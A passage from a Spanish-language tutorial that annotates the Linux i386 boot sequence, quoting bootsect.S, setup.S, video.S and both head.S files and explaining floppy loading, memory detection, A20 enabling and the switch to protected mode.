la RAM, y ajustando ahi el maximo de sectores a 36, lo mas que nos
encontrariamos en un floppy de Extra-Densidad (2.88MB).

# Load the setup-sectors directly after the bootblock.
# Note that 'es' is already set up.
# Also, cx = 0 from rep movsw above.

load_setup:
xorb %ah, %ah # reset FDC
xorb %dl, %dl
int $0x13
xorw %dx, %dx # drive 0, head 0
movb $0x02, %cl # sector 2, track 0
movw $0x0200, %bx # address = 512, in INITSEG
movb $0x02, %ah # service 2, "read sector(s)"
movb setup_sects, %al # (assume all on head 0, track 0)
int $0x13 # read it
jnc ok_load_setup # ok - continue

pushw %ax # dump error code
call print_nl
movw %sp, %bp
call print_hex
popw %ax
jmp load_setup

Llamamos a INT 13 para reiniciar la controladora de la disquetera, y procedemos
a copiar los 4 sectores de SETUP_SECTS justo despues de donde hemos copiado el
sector de arranque. Si falla, soltamos un mensaje de error y insistimos hasta
que lo conseguimos.

Una vez cargados, saltamos a donde hemos cargado ok_load_setup:

ok_load_setup:
# Get disk drive parameters, specifically number of sectors/track.

# It seems that there is no BIOS call to get the number of sectors.
# Guess 36 sectors if sector 36 can be read, 18 sectors if sector 18
# can be read, 15 if sector 15 can be read. Otherwise guess 9.

movw $disksizes, %si # table of sizes to try
probe_loop:
lodsb
cbtw # extend to word
movw %ax, sectors
cmpw $disksizes+4, %si
jae got_sectors # If all else fails, try 9

xchgw %cx, %ax # cx = track and sector
xorw %dx, %dx # drive 0, head 0
xorb %bl, %bl
movb setup_sects, %bh
incb %bh
shlb %bh # address after setup (es = cs)
movw $0x0201, %ax # service 2, 1 sector
int $0x13
jc probe_loop # try next value

A base de prueba y error, averiguamos el numero de sectores por pista. Probamos
36, luego 18, luego 15 y si falla deducimos 9.

got_sectors:
movw $INITSEG, %ax
movw %ax, %es # set up es
movb $0x03, %ah # read cursor pos
xorb %bh, %bh
int $0x10
movw $9, %cx
movw $0x0007, %bx # page 0, attribute 7 (normal)
movw $msg1, %bp
movw $0x1301, %ax # write string, move cursor
int $0x10 # tell the user we're loading..
movw $SYSSEG, %ax # ok, we've written the message, now
movw %ax, %es # we want to load system (at 0x10000)
call read_it
...

Averiguamos la posicion del cursor, y escribimos alli un precioso mensaje al
administrador indicandole que tenemos intencion de volcar Linux en memoria, y
asi lo hacemos, teniendo especial cuidado de no tocar por debajo de los 64kB,
para no sobreescribir datos de la BIOS, que aun estamos usando.

# This routine loads the system at address 0x10000, making sure
# no 64kB boundaries are crossed. We try to load it as fast as
# possible, loading whole tracks whenever we can.

# es = starting address segment (normally 0x1000)

sread: .word 0 # sectors read of current track
head: .word 0 # current head
track: .word 0 # current track

read_it:
movb setup_sects, %al
incb %al
movb %al, sread
movw %es, %ax
testw $0x0fff, %ax
die: jne die # es must be at 64kB boundary

xorw %bx, %bx # bx is starting address within segment
rp_read:
#ifdef __BIG_KERNEL__
bootsect_kludge = 0x220 # 0x200 (size of bootsector) + 0x20 (offset
lcall bootsect_kludge # of bootsect_kludge in setup.S)
#else
movw %es, %ax
subw $SYSSEG, %ax
#endif
cmpw syssize, %ax # have we loaded all yet?
jbe ok1_read

ret

ok1_read:
movw sectors, %ax
subw sread, %ax
movw %ax, %cx
shlw $9, %cx
addw %bx, %cx
jnc ok2_read

je ok2_read

xorw %ax, %ax
subw %bx, %ax
shrw $9, %ax
ok2_read:
call read_track
movw %ax, %cx
addw sread, %ax
cmpw sectors, %ax
jne ok3_read

movw $1, %ax
subw head, %ax
jne ok4_read

incw track
ok4_read:
movw %ax, head
xorw %ax, %ax
ok3_read:
movw %ax, sread
shlw $9, %cx
addw %cx, %bx
jnc rp_read

movw %es, %ax
addb $0x10, %ah
movw %ax, %es
xorw %bx, %bx
jmp rp_read

Vamos leyendo, a base de ir llamando a read_track y copiando los datos a su
sitio. Cuando acabamos, volvemos a donde estabamos en got_sectors.

read_track:
pusha
pusha
movw $0xe2e, %ax # loading... message 2e = .
movw $7, %bx
int $0x10
popa
movw track, %dx
movw sread, %cx
incw %cx
movb %dl, %ch
movw head, %dx
movb %dl, %dh
andw $0x0100, %dx
movb $2, %ah
pushw %dx # save for error dump
pushw %cx
pushw %bx
pushw %ax
int $0x13
jc bad_rt

addw $8, %sp
popa
ret

bad_rt:
pushw %ax # save error code
call print_all # ah = error, al = read
xorb %ah, %ah
xorb %dl, %dl
int $0x13
addw $10, %sp
popa
jmp read_track

Leemos una pista y soltamos un puntito, 2e, '.', si todo va bien, o soltamos un
errorcito y insistimos hasta el infinito si falla algo. Volvamos a donde nos
quedamos en got_sectors...

call read_it
call kill_motor
call print_nl

Para empezar, paramos el motor:

# This procedure turns off the floppy drive motor, so
# that we enter the kernel in a known state, and
# don't have to worry about it later.

kill_motor:
movw $0x3f2, %dx
xorb %al, %al
outb %al, %dx
ret

Nos interesa que el kernel encuentre la disquetera en un estado conocido, y no
tengamos que preocuparnos por ello mas tarde. Hecho esto movemos el cursor del
terminal a la linea siguiente:

print_nl:
movw $0xe0d, %ax # CR
int $0x10
movb $0xa, %al # LF
int $0x10
ret

Asi el kernel podra empezar a floodear con sus preciosos mensajes de arranque.

Averiguamos el nombre de device de donde hemos leido el kernel a partir del
numero de sectores:

# After that we check which root-device to use. If the device is
# defined (!= 0), nothing is done and the given device is used.
# Otherwise, one of /dev/fd0H2880 (2,32) or /dev/PS0 (2,28) or /dev/at0 (2,8)
# depending on the number of sectors we pretend to know we have.

movw root_dev, %ax
orw %ax, %ax
jne root_defined

movw sectors, %bx
movw $0x0208, %ax # /dev/ps0 - 1.2Mb
cmpw $15, %bx
je root_defined

movb $0x1c, %al # /dev/PS0 - 1.44Mb
cmpw $18, %bx
je root_defined

movb $0x20, %al # /dev/fd0H2880 - 2.88Mb
cmpw $36, %bx
je root_defined

movb $0, %al # /dev/fd0 - autodetect
root_defined:
movw %ax, root_dev

# After that (everything loaded), we jump to the setup-routine
# loaded directly after the bootblock:

ljmp $SETUPSEG, $0

Una vez dedicido, saltamos sobre SETUPSEG. (arch/i386/boot/setup.S)


3.2. setup.S

/*
* setup.S Copyright (C) 1991, 1992 Linus Torvalds
*
* setup.s is responsible for getting the system data from the BIOS,
* and putting them into the appropriate places in system memory.
* both setup.s and system has been loaded by the bootblock.
*
* This code asks the bios for memory/disk/other parameters, and
* puts them in a "safe" place: 0x90000-0x901FF, ie where the
* boot-block used to be. It is then up to the protected mode
* system to read them from there before the area is overwritten
* for buffer-blocks.
*
* Move PS/2 aux init code to psaux.c
* (troyer@saifr00.cfsat.Honeywell.COM) 03Oct92
*
* some changes and additional features by Christoph Niemann,
* March 1993/June 1994 (Christoph.Niemann@linux.org)
*
* add APM BIOS checking by Stephen Rothwell, May 1994
* (sfr@canb.auug.org.au)
*
* High load stuff, initrd support and position independency
* by Hans Lermen & Werner Almesberger, February 1996
* <lermen@elserv.ffm.fgan.de>, <almesber@lrc.epfl.ch>
*
* Video handling moved to video.S by Martin Mares, March 1996
* <mj@k332.feld.cvut.cz>
*
* Extended memory detection scheme retwiddled by orc@pell.chi.il.us (david
* parsons) to avoid loadlin confusion, July 1997
*
* Transcribed from Intel (as86) -> AT&T (gas) by Chris Noe, May 1999.
* <stiker@northlink.com>
*
* Fix to work around buggy BIOSes which dont use carry bit correctly
* and/or report extended memory in CX/DX for e801h memory size detection
* call. As a result the kernel got wrong figures. The int15/e801h docs
* from Ralf Brown interrupt list seem to indicate AX/BX should be used
* anyway. So to avoid breaking many machines (presumably there was a reason
* to orginally use CX/DX instead of AX/BX), we do a kludge to see
* if CX/DX have been changed in the e801 call and if so use AX/BX .
* Michael Miller, April 2001 <michaelm@mjmm.org>
*
*/


Nuevamente, el kernel esta muy bien comentado.

/* Signature words to ensure LILO loaded us right */
#define SIG1 0xAA55
#define SIG2 0x5A5A

Firmas que deberemos encontrar al final de setup si nos han cargado bien.

start_of_setup:
# Bootlin depends on this being done early
movw $0x01500, %ax
movb $0x81, %dl
int $0x13

#ifdef SAFE_RESET_DISK_CONTROLLER
# Reset the disk controller.
movw $0x0000, %ax
movb $0x80, %dl
int $0x13
#endif

# Set %ds = %cs, we know that SETUPSEG = %cs at this point
movw %cs, %ax # aka SETUPSEG
movw %ax, %ds
# Check signature at end of setup
cmpw $SIG1, setup_sig1
jne bad_sig

cmpw $SIG2, setup_sig2
jne bad_sig

jmp good_sig1

Reiniciamos la disquetera. Sabemos que %cs = SETUPSEG. Colocamos SETUPSEG en
%ds. Comprobamos que la firma del final de setup es correcta. De esta forma
comprobamos que el gestor de arranque ha cargado setup completo. De no ser asi,
nos encargamos de que el administrador se deprima soltando el correspondiente
mensajito.

good_sig1:
jmp good_sig

No tengo demasiado claro el pq no salta a good_sig directamente :?

good_sig:
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ax, %ds
# Check if an old loader tries to load a big-kernel
testb $LOADED_HIGH, %cs:loadflags # Do we have a big kernel?
jz loader_ok # No, no danger for old loaders.

cmpb $0, %cs:type_of_loader # Do we have a loader that
# can deal with us?
jnz loader_ok # Yes, continue.

pushw %cs # No, we have an old loader,
popw %ds # die.
lea loader_panic_mess, %si
call prtstr

jmp no_sig_loop

loader_panic_mess: .string "Wrong loader, giving up..."

Los gestores de arranque antiguos no saben cargar kernels grandes. Primero
miramos si el kernel es grande, si no lo es no hay peligro, si lo es comprobamos
que el gestor de arranque sea capaz. Si no lo es, nos quejamos y nos negamos a
continuar.

loader_ok:
# Get memory size (extended mem, kB)

xorl %eax, %eax
movl %eax, (0x1e0)
#ifndef STANDARD_MEMORY_BIOS_CALL
movb %al, (E820NR)
# Try three different memory detection schemes. First, try
# e820h, which lets us assemble a memory map, then try e801h,
# which returns a 32-bit memory size, and finally 88h, which
# returns 0-64m

Bueno, ahora es cuando setup.S debe averiguar el tamaño de la RAM.

# method E820H:
# the memory map from hell. e820h returns memory classified into
# a whole bunch of different types, and allows memory holes and
# everything. We scan through this memory map and build a list
# of the first 32 memory areas, which we return at [E820MAP].
# This is documented at http://www.teleport.com/~acpi/acpihtml/topic245.htm

#define SMAP 0x534d4150

meme820:
xorl %ebx, %ebx # continuation counter
movw $E820MAP, %di # point into the whitelist
# so we can have the bios
# directly write into it.

jmpe820:
movl $0x0000e820, %eax # e820, upper word zeroed
movl $SMAP, %edx # ascii 'SMAP'
movl $20, %ecx # size of the e820rec
pushw %ds # data record.
popw %es
int $0x15 # make the call
jc bail820 # fall to e801 if it fails

cmpl $SMAP, %eax # check the return is `SMAP'
jne bail820 # fall to e801 if it fails

# cmpl $1, 16(%di) # is this usable memory?
# jne again820

# If this is usable memory, we save it by simply advancing %di by
# sizeof(e820rec).
#
good820:
movb (E820NR), %al # up to 32 entries
cmpb $E820MAX, %al
jnl bail820

incb (E820NR)
movw %di, %ax
addw $20, %ax
movw %ax, %di
again820:
cmpl $0, %ebx # check to see if
jne jmpe820 # %ebx is set to EOF
bail820:

Si tenemos una BIOS nuevecilla con ACPI tenemos suerte. Nos proporcionan una
llamada, E820H, que devuelve un mapa de memoria, clasificada, y con agujeros y
demas especificados. Llamamos a la BIOS. Si falla, lo dejamos y probamos otro
metodo. Si tira, probamos que la BIOS nos ha devuelto lo que esperabamos.
Deberia colocar 'SMAP' en %eax. Si no lo hace, lo dejamos tb. En el caso de que
funcione, simplemente vamos copiandonos el mapa de memoria hasta que se acaba o
llegamos a las 32 entradas. Entonces pasamos a probar el metodo siguiente (no
nos escapamos...)

# method E801H:
# memory size is in 1k chunksizes, to avoid confusing loadlin.
# we store the 0xe801 memory size in a completely different place,
# because it will most likely be longer than 16 bits.
# (use 1e0 because that's what Larry Augustine uses in his
# alternative new memory detection scheme, and it's sensible
# to write everything into the same place.)

meme801:
stc # fix to work around buggy
xorw %cx,%cx # BIOSes which dont clear/set
xorw %dx,%dx # carry on pass/error of
# e801h memory size call
# or merely pass cx,dx though
# without changing them.
movw $0xe801, %ax
int $0x15
jc mem88

cmpw $0x0, %cx # Kludge to handle BIOSes
jne e801usecxdx # which report their extended
cmpw $0x0, %dx # memory in AX/BX rather than
jne e801usecxdx # CX/DX. The spec I have read
movw %ax, %cx # seems to indicate AX/BX
movw %bx, %dx # are more reasonable anyway...

e801usecxdx:
andl $0xffff, %edx # clear sign extend
shll $6, %edx # and go from 64k to 1k chunks
movl %edx, (0x1e0) # store extended memory size
andl $0xffff, %ecx # clear sign extend
addl %ecx, (0x1e0) # and add lower memory into
# total size.

# Ye Olde Traditional Methode. Returns the memory size (up to 16mb or
# 64mb, depending on the bios) in ax.
mem88:

#endif
movb $0x88, %ah
int $0x15
movw %ax, (2)

Probamos E801H, que devuelve la RAM en bloques de 1k. Primero miramos la RAM
extendida y luego la memoria baja, y luego llamamos a 0x88, que devuelve la RAM
en %ax.

Llegado a este punto, hemos usado los 3 sistemas de deteccion de RAM. (o menos
si ha fallado alguno)

# Set the keyboard repeat rate to the max
movw $0x0305, %ax
xorw %bx, %bx
int $0x16

Ponemos la velocidad de repeticion del teclado al maximo.

# Check for video adapter and its parameters and allow the
# user to browse video modes.
call video # NOTE: we need %ds pointing
# to bootsector

Llamamos a "video". Se encuentra en un fichero aparte:

# Include video setup & detection code

#include "video.S"

Vamos a ver por encima este fichero.

/* video.S
*
* Display adapter & video mode setup, version 2.13 (14-May-99)
*
* Copyright (C) 1995 -- 1998 Martin Mares <mj@ucw.cz>
* Based on the original setup.S code (C) Linus Torvalds and Mats Anderson
*
* Rewritten to use GNU 'as' by Chris Noe <stiker@northlink.com> May 1999
*
* For further information, look at Documentation/svga.txt.
*
*/


...

# This is the main entry point called by setup.S
# %ds *must* be pointing to the bootsector
video: pushw %ds # We use different segments
pushw %ds # FS contains original DS
popw %fs
pushw %cs # DS is equal to CS
popw %ds
pushw %cs # ES is equal to CS
popw %es
xorw %ax, %ax
movw %ax, %gs # GS is zero
cld
call basic_detect # Basic adapter type testing (EGA/VGA/MDA/CGA)
#ifdef CONFIG_VIDEO_SELECT
movw %fs:(0x01fa), %ax # User selected video mode
cmpw $ASK_VGA, %ax # Bring up the menu
jz vid2

call mode_set # Set the mode
jc vid1

leaw badmdt, %si # Invalid mode ID
call prtstr
vid2: call mode_menu
vid1:
#ifdef CONFIG_VIDEO_RETAIN
call restore_screen # Restore screen contents
#endif /* CONFIG_VIDEO_RETAIN */
#endif /* CONFIG_VIDEO_SELECT */
call mode_params # Store mode parameters
popw %ds # Restore original DS
ret

Hacemos algunas pruebas basicas para saber si la targeta de video es VGA o es
EGA/CGA/MDA. De ser asi ya podremos volver a setup.S a menos que al compilar el
kernel hayamos habilitado CONFIG_VIDEO_SELECT, lo que ajustaria el modo segun la
linea de parametros del kernel (VGA=modo) o nos dejaria escojer el modo. Veamos
como actua basic_detect.

basic_detect:
movb $0, %fs:(PARAM_HAVE_VGA)
movb $0x12, %ah # Check EGA/VGA
movb $0x10, %bl
int $0x10
movw %bx, %fs:(PARAM_VIDEO_EGA_BX) # Identifies EGA to the kernel
cmpb $0x10, %bl # No, it's a CGA/MDA/HGA card.
je basret

incb adapter
movw $0x1a00, %ax # Check EGA or VGA?
int $0x10
cmpb $0x1a, %al # 1a means VGA...
jne basret # anything else is EGA.

incb %fs:(PARAM_HAVE_VGA) # We've detected a VGA
incb adapter
basret: ret

Bueno, vamos descartando. Si no es EGA ni VGA la BIOS lo deja claro y volvemos.
Si no volvemos, nos toca discriminar entre EGA y VGA. Para ello haremos una
llamada que devuelve 1a si es VGA, si no es asi, es EGA.

Bueno, volvamos a setup.S.

# Get hd0 data...
xorw %ax, %ax
movw %ax, %ds
ldsw (4 * 0x41), %si
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
pushw %ax
movw %ax, %es
movw $0x0080, %di
movw $0x10, %cx
pushw %cx
cld
rep
movsb
# Get hd1 data...
xorw %ax, %ax
movw %ax, %ds
ldsw (4 * 0x46), %si
popw %cx
popw %es
movw $0x0090, %di
rep
movsb
# Check that there IS a hd1 :-)
movw $0x01500, %ax
movb $0x81, %dl
int $0x13
jc no_disk1

cmpb $3, %ah
je is_disk1

no_disk1:
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ax, %es
movw $0x0090, %di
movw $0x10, %cx
xorw %ax, %ax
cld
rep
stosb
is_disk1:

Aqui obtenemos informacion sobre los 2 primeros discos duros, y comprobamos si
el segundo existe...

# check for Micro Channel (MCA) bus
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ax, %ds
xorw %ax, %ax
movw %ax, (0xa0) # set table length to 0
movb $0xc0, %ah
stc
int $0x15 # moves feature table to es:bx
jc no_mca

pushw %ds
movw %es, %ax
movw %ax, %ds
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ax, %es
movw %bx, %si
movw $0xa0, %di
movw (%si), %cx
addw $2, %cx # table length is a short
cmpw $0x10, %cx
jc sysdesc_ok

movw $0x10, %cx # we keep only first 16 bytes
sysdesc_ok:
rep
movsb
popw %ds
no_mca:
# Check for PS/2 pointing device
movw %cs, %ax # aka SETUPSEG
subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ax, %ds
movw $0, (0x1ff) # default is no pointing device
int $0x11 # int 0x11: equipment list
testb $0x04, %al # check if mouse installed
jz no_psmouse

movw $0xAA, (0x1ff) # device present
no_psmouse:

Probamos si existe el bus MCA (IBM PS/2). Despues miramos si hay un raton ps/2
instalado.

#if defined(CONFIG_APM) || defined(CONFIG_APM_MODULE)
# Then check for an APM BIOS...
# %ds points to the bootsector
movw $0, 0x40 # version = 0 means no APM BIOS
movw $0x05300, %ax # APM BIOS installation check
xorw %bx, %bx
int $0x15
jc done_apm_bios # Nope, no APM BIOS

cmpw $0x0504d, %bx # Check for "PM" signature
jne done_apm_bios # No signature, no APM BIOS

andw $0x02, %cx # Is 32 bit supported?
je done_apm_bios # No 32-bit, no (good) APM BIOS

movw $0x05304, %ax # Disconnect first just in case
xorw %bx, %bx
int $0x15 # ignore return code
movw $0x05303, %ax # 32 bit connect
xorl %ebx, %ebx
xorw %cx, %cx # paranoia :-)
xorw %dx, %dx # ...
xorl %esi, %esi # ...
xorw %di, %di # ...
int $0x15
jc no_32_apm_bios # Ack, error.

movw %ax, (66) # BIOS code segment
movl %ebx, (68) # BIOS entry point offset
movw %cx, (72) # BIOS 16 bit code segment
movw %dx, (74) # BIOS data segment
movl %esi, (78) # BIOS code segment lengths
movw %di, (82) # BIOS data segment length
# Redo the installation check as the 32 bit connect
# modifies the flags returned on some BIOSs
movw $0x05300, %ax # APM BIOS installation check
xorw %bx, %bx
xorw %cx, %cx # paranoia
int $0x15
jc apm_disconnect # error -> shouldn't happen

cmpw $0x0504d, %bx # check for "PM" signature
jne apm_disconnect # no sig -> shouldn't happen

movw %ax, (64) # record the APM BIOS version
movw %cx, (76) # and flags
jmp done_apm_bios

apm_disconnect: # Tidy up
movw $0x05304, %ax # Disconnect
xorw %bx, %bx
int $0x15 # ignore return code

jmp done_apm_bios

no_32_apm_bios:
andw $0xfffd, (76) # remove 32 bit support bit
done_apm_bios:
#endif

# Now we want to move to protected mode ...
cmpw $0, %cs:realmode_swtch
jz rmodeswtch_normal

lcall %cs:realmode_swtch

jmp rmodeswtch_end

rmodeswtch_normal:
pushw %cs
call default_switch

Si hemos compilado con soporte APM, aqui probamos si la bios lo soporta, y si es
posible acceder a ella en 32 bits.

# Now we want to move to protected mode ...
cmpw $0, %cs:realmode_swtch
jz rmodeswtch_normal

lcall %cs:realmode_swtch

jmp rmodeswtch_end

rmodeswtch_normal:
pushw %cs
call default_switch

rmodeswtch_end:

Bueno. Tenemos intencion de movernos a modo protegido. Las cosas se estan
poniendo interesantes :).

# This is the default real mode switch routine.
# to be called just before protected mode transition
default_switch:
cli # no interrupts allowed !
movb $0x80, %al # disable NMI for bootup
# sequence
outb %al, $0x70
lret

Desactivamos interrupciones, y la NMI (Non Masquerable Interrupt, no
enmascarable pero la podemos desactivar... :).

# we get the code32 start address and modify the below 'jmpi'
# (loader may have changed it)
movl %cs:code32_start, %eax
movl %eax, %cs:code32

# Now we move the system to its rightful place ... but we check if we have a
# big-kernel. In that case we *must* not move it ...
testb $LOADED_HIGH, %cs:loadflags
jz do_move0 # .. then we have a normal low
# loaded zImage
# .. or else we have a high
# loaded bzImage
jmp end_move # ... and we skip moving

do_move0:
movw $0x100, %ax # start of destination segment
movw %cs, %bp # aka SETUPSEG
subw $DELTA_INITSEG, %bp # aka INITSEG
movw %cs:start_sys_seg, %bx # start of source segment
cld
do_move:
movw %ax, %es # destination segment
incb %ah # instead of add ax,#0x100
movw %bx, %ds # source segment
addw $0x100, %bx
subw %di, %di
subw %si, %si
movw $0x800, %cx
rep
movsw
cmpw %bp, %bx # assume start_sys_seg > 0x200,
# so we will perhaps read one
# page more than needed, but
# never overwrite INITSEG
# because destination is a
# minimum one page below source
jb do_move

end_move:

Vamos a mover el kernel a un buen sitio, pero comprobamos primero si es un
kernel grande (bzImage) con lo que no nos interesara moverlo, pues mas tarde lo
descomprimiremos en el lugar adecuado.

# then we load the segment descriptors
movw %cs, %ax # aka SETUPSEG
movw %ax, %ds

# Check whether we need to be downward compatible with version <=201
cmpl $0, cmd_line_ptr
jne end_move_self # loader uses version >=202 features
cmpb $0x20, type_of_loader
je end_move_self # bootsect loader, we know of it

# Boot loader doesnt support boot protocol version 2.02.
# If we have our code not at 0x90000, we need to move it there now.
# We also then need to move the params behind it (commandline)
# Because we would overwrite the code on the current IP, we move
# it in two steps, jumping high after the first one.
movw %cs, %ax
cmpw $SETUPSEG, %ax
je end_move_self

cli # make sure we really have
# interrupts disabled !
# because after this the stack
# should not be used

subw $DELTA_INITSEG, %ax # aka INITSEG
movw %ss, %dx
cmpw %ax, %dx
jb move_self_1

addw $INITSEG, %dx
subw %ax, %dx # this will go into %ss after
# the move
move_self_1:
movw %ax, %ds
movw $INITSEG, %ax # real INITSEG
movw %ax, %es
movw %cs:setup_move_size, %cx
std # we have to move up, so we use
# direction down because the
# areas may overlap
movw %cx, %di
decw %di
movw %di, %si
subw $move_self_here+0x200, %cx
rep
movsb
ljmp $SETUPSEG, $move_self_here

move_self_here:
movw $move_self_here+0x200, %cx
rep
movsb
movw $SETUPSEG, %ax
movw %ax, %ds
movw %dx, %ss
end_move_self: # now we are at the right place
lidt idt_48 # load idt with 0,0
xorl %eax, %eax # Compute gdt_base
movw %ds, %ax # (Convert %ds:gdt to a linear ptr)
shll $4, %eax
addl $gdt, %eax
movl %eax, (gdt_48+2)
lgdt gdt_48 # load gdt with whatever is
# appropriate

Nos interesa estar en 0x90000. Si el gestor de arranque no nos ha colocado alli,
nos movemos a nosotros mismos. Antes, nos aseguramos de que no esten activadas
las interrupciones, pues a partir de ahi no queremos que se sobreescriba el
stack.

# that was painless, now we enable a20
call empty_8042

movb $0xD1, %al # command write
outb %al, $0x64
call empty_8042

movb $0xDF, %al # A20 on
outb %al, $0x60
call empty_8042

#
# You must preserve the other bits here. Otherwise embarrasing things
# like laptops powering off on boot happen. Corrected version by Kira
# Brown from Linux 2.2
#
inb $0x92, %al #
orb $02, %al # "fast A20" version
outb %al, $0x92 # some chips have only this

# wait until a20 really *is* enabled; it can take a fair amount of
# time on certain systems; Toshiba Tecras are known to have this
# problem. The memory location used here (0x200) is the int 0x80
# vector, which should be safe to use.

xorw %ax, %ax # segment 0x0000
movw %ax, %fs
decw %ax # segment 0xffff (HMA)
movw %ax, %gs
a20_wait:
incw %ax # unused memory location <0xfff0
movw %ax, %fs:(0x200) # we use the "int 0x80" vector
cmpw %gs:(0x210), %ax # and its corresponding HMA addr
je a20_wait # loop until no longer aliased

Activamos A20. Si falla el procedimiento normal, tenemos uno alternativo. Hecho
esto esperamos a que de verdad este A20 activado, puesto que algunos sistemas
tardan.

# well, that went ok, I hope. Now we mask all interrupts - the rest
# is done in init_IRQ().
movb $0xFF, %al # mask all interrupts for now
outb %al, $0xA1
call delay

movb $0xFB, %al # mask all irq's but irq2 which
outb %al, $0x21 # is cascaded

Enmascaramos todas las interrupciones.

# Well, that certainly wasn't fun :-(. Hopefully it works, and we don't
# need no steenking BIOS anyway (except for the initial loading :-).
# The BIOS-routine wants lots of unnecessary data, and it's less
# "interesting" anyway. This is how REAL programmers do it.
#
# Well, now's the time to actually move into protected mode. To make
# things as simple as possible, we do no register set-up or anything,
# we let the gnu-compiled 32-bit programs do that. We just jump to
# absolute address 0x1000 (or the loader supplied one),
# in 32-bit protected mode.
#
# Note that the short jump isn't strictly needed, although there are
# reasons why it might be a good idea. It won't hurt in any case.
movw $1, %ax # protected mode (PE) bit
lmsw %ax # This is it!
jmp flush_instr

Lo hemos conseguido! Estamos en modo protegido!

flush_instr:
xorw %bx, %bx # Flag to indicate a boot
xorl %esi, %esi # Pointer to real-mode code
movw %cs, %si
subw $DELTA_INITSEG, %si
shll $4, %esi # Convert to 32-bit pointer
# NOTE: For high loaded big kernels we need a
# jmpi 0x100000,__KERNEL_CS
#
# but we yet haven't reloaded the CS register, so the default size
# of the target offset still is 16 bit.
# However, using an operant prefix (0x66), the CPU will properly
# take our 48 bit far pointer. (INTeL 80386 Programmer's Reference
# Manual, Mixing 16-bit and 32-bit code, page 16-6)

Saltamos al kernel.

3.3. head.S

Decir que tenemos 2 Head.S. Uno que se encarga de descomprimir el kernel, y el
del kernel en si.

3.3.1. Descompresion. (boot/head.S)

/*
* linux/boot/head.S
*
* Copyright (C) 1991, 1992, 1993 Linus Torvalds
*/


/*
* head.S contains the 32-bit startup code.
*
* NOTE!!! Startup happens at absolute address 0x00001000, which is also where
* the page directory will exist. The startup code will be overwritten by
* the page directory. [According to comments etc elsewhere on a compressed
* kernel it will end up at 0x1000 + 1Mb I hope so as I assume this. - AC]
*
* Page 0 is deliberately kept safe, since System Management Mode code in
* laptops may need to access the BIOS data stored there. This is also
* useful for future device drivers that either access the BIOS via VM86
* mode.
*/


/*
* High loaded stuff by Hans Lermen & Werner Almesberger, Feb. 1996
*/

.text

#include <linux/linkage.h>
#include <asm/segment.h>

.globl startup_32

startup_32:
cld
cli
movl $(__KERNEL_DS),%eax
movl %eax,%ds
movl %eax,%es
movl %eax,%fs
movl %eax,%gs

lss SYMBOL_NAME(stack_start),%esp
xorl %eax,%eax
1: incl %eax # check that A20 really IS enabled
movl %eax,0x000000 # loop forever if it isn't
cmpl %eax,0x100000
je 1b

Miramos si la linea A20 esta activada. Si no lo esta, nos olvidamos de
continuar, pues no podremos acceder a la memoria superior :[

/*
* Initialize eflags. Some BIOS's leave bits like NT set. This would
* confuse the debugger if this code is traced.
* XXX - best to initialize before switching to protected mode.
*/

pushl $0
popfl

Ponemos a cero EFLAGS.

/*
* Clear BSS
*/

xorl %eax,%eax
movl $ SYMBOL_NAME(_edata),%edi
movl $ SYMBOL_NAME(_end),%ecx
subl %edi,%ecx
cld
rep
stosb

Ponemos a cero BSS.

/*
* Do the decompression, and jump to the new kernel..
*/

subl $16,%esp # place for structure on the stack
movl %esp,%eax
pushl %esi # real mode pointer as second arg
pushl %eax # address of structure as first arg
call SYMBOL_NAME(decompress_kernel)
orl %eax,%eax
jnz 3f
popl %esi # discard address
popl %esi # real mode pointer
xorl %ebx,%ebx
ljmp $(__KERNEL_CS), $0x100000

Descomprimimos el kernel y saltamos hacia el.

/*
* We come here, if we were loaded high.
* We need to move the move-in-place routine down to 0x1000
* and then start it with the buffer addresses in registers,
* which we got from the stack.
*/

3:
movl $move_routine_start,%esi
movl $0x1000,%edi
movl $move_routine_end,%ecx
subl %esi,%ecx
addl $3,%ecx
shrl $2,%ecx
cld
rep
movsl

popl %esi # discard the address
popl %ebx # real mode pointer
popl %esi # low_buffer_start
popl %ecx # lcount
popl %edx # high_buffer_start
popl %eax # hcount
movl $0x100000,%edi
cli # make sure we don't get interrupted
ljmp $(__KERNEL_CS), $0x1000 # and jump to the move routine

Si nos han cargado en memoria superior, hemos de movernos (otra vez) a la nueva posicion...

/*
* Routine (template) for moving the decompressed kernel in place,
* if we were high loaded. This _must_ PIC-code !
*/

move_routine_start:
movl %ecx,%ebp
shrl $2,%ecx
rep
movsl
movl %ebp,%ecx
andl $3,%ecx
rep
movsb
movl %edx,%esi
movl %eax,%ecx # NOTE: rep movsb won't move if %ecx == 0
addl $3,%ecx
shrl $2,%ecx
rep
movsl
movl %ebx,%esi # Restore setup pointer
xorl %ebx,%ebx
ljmp $(__KERNEL_CS), $0x100000

Y movemos el kernel delante nuestro.

move_routine_end:

3.3.2. Cabecera del kernel (arch/i386/kernel/head.S)

Bueno, esta es la cabecera del kernel de verdad ;)

/*
* linux/arch/i386/head.S -- the 32-bit startup code.
*
* Copyright (C) 1991, 1992 Linus Torvalds
*
* Enhanced CPU detection and feature setting code by Mike Jagdis
* and Martin Mares, November 1997.
*/


.text
#include <linux/config.h>
#include <linux/threads.h>
#include <linux/linkage.h>
#include <asm/segment.h>
#include <asm/page.h>
#include <asm/pgtable.h>
#include <asm/desc.h>

#define OLD_CL_MAGIC_ADDR 0x90020
#define OLD_CL_MAGIC 0xA33F
#define OLD_CL_BASE_ADDR 0x90000
#define OLD_CL_OFFSET 0x90022
#define NEW_CL_POINTER 0x228 /* Relative to real mode data */

/*
* References to members of the boot_cpu_data structure.
*/


#define CPU_PARAMS SYMBOL_NAME(boot_cpu_data)
#define X86 CPU_PARAMS+0
#define X86_VENDOR CPU_PARAMS+1
#define X86_MODEL CPU_PARAMS+2
#define X86_MASK CPU_PARAMS+3
#define X86_HARD_MATH CPU_PARAMS+6
#define X86_CPUID CPU_PARAMS+8
#define X86_CAPABILITY CPU_PARAMS+12
#define X86_VENDOR_ID CPU_PARAMS+28

/*
* swapper_pg_dir is the main page directory, address 0x00101000
*
* On entry, %esi points to the real-mode code as a 32-bit pointer.
